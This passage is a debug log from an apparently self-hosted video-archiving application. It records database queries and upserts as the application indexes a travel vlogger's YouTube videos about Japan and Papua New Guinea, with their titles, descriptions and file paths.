INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Japan Is Losing Something It Can Never Get Back", "705f6cd4-1e81-40da-9916-da3f0d975b1f", "CvIFRZqadIU", 2112, false, "https://www.youtube.com/watch?v=CvIFRZqadIU", 8, "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", false, false, false, 3, [], 98, ~U[2026-04-24 14:29:43Z], ~U[2026-08-20 01:28:39Z], ~U[2026-08-20 01:28:39Z], "Right. You gotta be patient with me on this one. I'm trying to make a point and I spend half the trip figuring out how to make that point. Basically many shrines and traditions in Japan need to destroy and rebuild in order to survive. Something like that. It's a pretty vague link. But i think i achieve it. Watch till the end to find out! That's called retention. You have to watch the whole video in order to get what's called a payout. Payout or payoff? I can't remember. Anyway here's an SEO optimised description I got AI to write for to put here somewhere: \n\nJapan has survived for over 2,000 years — but how? I travel to Japan's sacred Ise-Shima Peninsula to find the answer, and what I discover changes the way I see the whole country. From the ancient Ise Jingu shrine — rebuilt from scratch every 20 years for over a millennium — to the Ama divers of Osatsu, women who have been free diving to the bottom of the sea on a single breath for 2,000 years, this video explores what it really means to survive. I camp overnight at the sacred Meoto Iwa — the wedded rocks — to catch the sunrise between them at dawn, and sit down to eat with Japan's last generation of sea women in a traditional Ama hut. Two ancient traditions, both 2,000 years old. One figured out how to last forever. The other is almost gone. If you're interested in Japan travel, Japanese mythology, Japanese culture, hidden Japan, Ise Jingu shrine, Ama divers, Ise-Shima, rural Japan, Japan off the beaten path, or the side of Japan that social media never shows you — this video is for you. Part 2 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://youtu.be/oiGyXylltRE \n\nhttps://youtu.be/bBxtc-Tskto\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "Japan Is Losing Something It Can Never Get Back", "CvIFRZqadIU", 2112, false, "https://www.youtube.com/watch?v=CvIFRZqadIU", "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", false, 3, ~U[2026-04-24 14:29:43Z]] 18:28:39.463 [debug] QUERY OK source="sources" db=0.2ms idle=42.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:39.463 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:28:39.464 [debug] QUERY OK source="media_items" db=0.2ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18983] 18:28:39.464 [debug] Current batch of media processed. Will check again in 1000ms 18:28:40.465 [debug] Current batch of media processed. Will check again in 1000ms 18:28:41.466 [debug] Current batch of media processed. Will check again in 1000ms 18:28:42.467 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "duration" => 2747, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", "id" => "zrYwOAJrViI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=zrYwOAJrViI", "playlist_index" => 9, "timestamp" => 1775837543, "title" => "The Japan The Algorithm Is Hiding From You", "upload_date" => "20260410"} 18:28:42.468 [debug] QUERY OK source="sources" db=0.2ms idle=1780.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:28:42.468 [debug] QUERY OK source="sources" db=0.1ms idle=1780.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:42.469 [debug] QUERY OK source="media_items" db=0.2ms idle=1781.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-10 16:12:23Z], 3] 18:28:42.470 [debug] QUERY OK source="media_items" db=1.1ms idle=1046.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "The Japan The Algorithm Is Hiding From You", "ef322e1b-0a9d-4324-84dc-cdf3ecd7c853", "zrYwOAJrViI", 2747, false, "https://www.youtube.com/watch?v=zrYwOAJrViI", 9, "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", false, false, false, 3, [], 98, ~U[2026-04-10 16:12:23Z], ~U[2026-08-20 01:28:42Z], ~U[2026-08-20 01:28:42Z], "Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "The Japan The Algorithm Is Hiding From You", "zrYwOAJrViI", 2747, false, "https://www.youtube.com/watch?v=zrYwOAJrViI", "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", false, 3, ~U[2026-04-10 16:12:23Z]] 18:28:42.470 [debug] QUERY OK source="sources" db=0.1ms idle=46.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:42.471 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:28:42.471 [debug] QUERY OK source="media_items" db=0.2ms idle=2.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18984] 18:28:42.471 [debug] Current batch of media processed. Will check again in 1000ms 18:28:43.472 [debug] Current batch of media processed. Will check again in 1000ms 18:28:44.473 [debug] Current batch of media processed. Will check again in 1000ms 18:28:45.474 [debug] Current batch of media processed. Will check again in 1000ms 18:28:46.475 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "duration" => 2836, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", "id" => "RZ925LRWI0M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=RZ925LRWI0M", "playlist_index" => 10, "timestamp" => 1774642707, "title" => "How To Get Robbed By Machete-Wielding Road Bandits", "upload_date" => "20260327"} 18:28:46.476 [debug] QUERY OK source="sources" db=0.2ms idle=788.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:28:46.476 [debug] QUERY OK source="sources" db=0.1ms idle=788.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:46.476 [debug] QUERY OK source="media_items" db=0.2ms idle=789.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-27 20:18:27Z], 3] 18:28:46.478 [debug] QUERY OK source="media_items" db=0.7ms idle=789.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "How To Get Robbed By Machete-Wielding Road Bandits", "dc2fba2a-afff-433d-97d4-0384cc75f608", "RZ925LRWI0M", 2836, false, "https://www.youtube.com/watch?v=RZ925LRWI0M", 10, "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", false, false, false, 3, [], 98, ~U[2026-03-27 20:18:27Z], ~U[2026-08-20 01:28:46Z], ~U[2026-08-20 01:28:46Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "How To Get Robbed By Machete-Wielding Road Bandits", "RZ925LRWI0M", 2836, false, "https://www.youtube.com/watch?v=RZ925LRWI0M", "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", false, 3, ~U[2026-03-27 20:18:27Z]] 18:28:46.478 [debug] QUERY OK source="sources" db=0.1ms idle=49.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:46.478 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:28:46.479 [debug] QUERY OK source="media_items" db=0.1ms idle=2.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [18985] 18:28:46.479 [debug] Current batch of media processed. Will check again in 1000ms 18:28:47.479 [debug] Current batch of media processed. Will check again in 1000ms 18:28:47.566 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:28:48.480 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "duration" => 1815, "filename" => "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", "id" => "Xt-ikXQ-UxE", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", "playlist_index" => 11, "timestamp" => 1773422223, "title" => "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "upload_date" => "20260313"} 18:28:48.481 [debug] QUERY OK source="sources" db=0.3ms idle=914.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 18:28:48.481 [debug] QUERY OK source="sources" db=0.2ms idle=794.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 18:28:48.482 [debug] QUERY OK source="media_items" db=0.2ms idle=794.3ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-13 17:17:03Z], 3] 18:28:48.483 [debug] QUERY OK source="media_items" db=0.7ms idle=794.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "faf54400-4e98-4bba-ac30-bff06ad5553d", "Xt-ikXQ-UxE", 1815, false, "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", 11, "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", false, false, false, 3, [], 98, ~U[2026-03-13 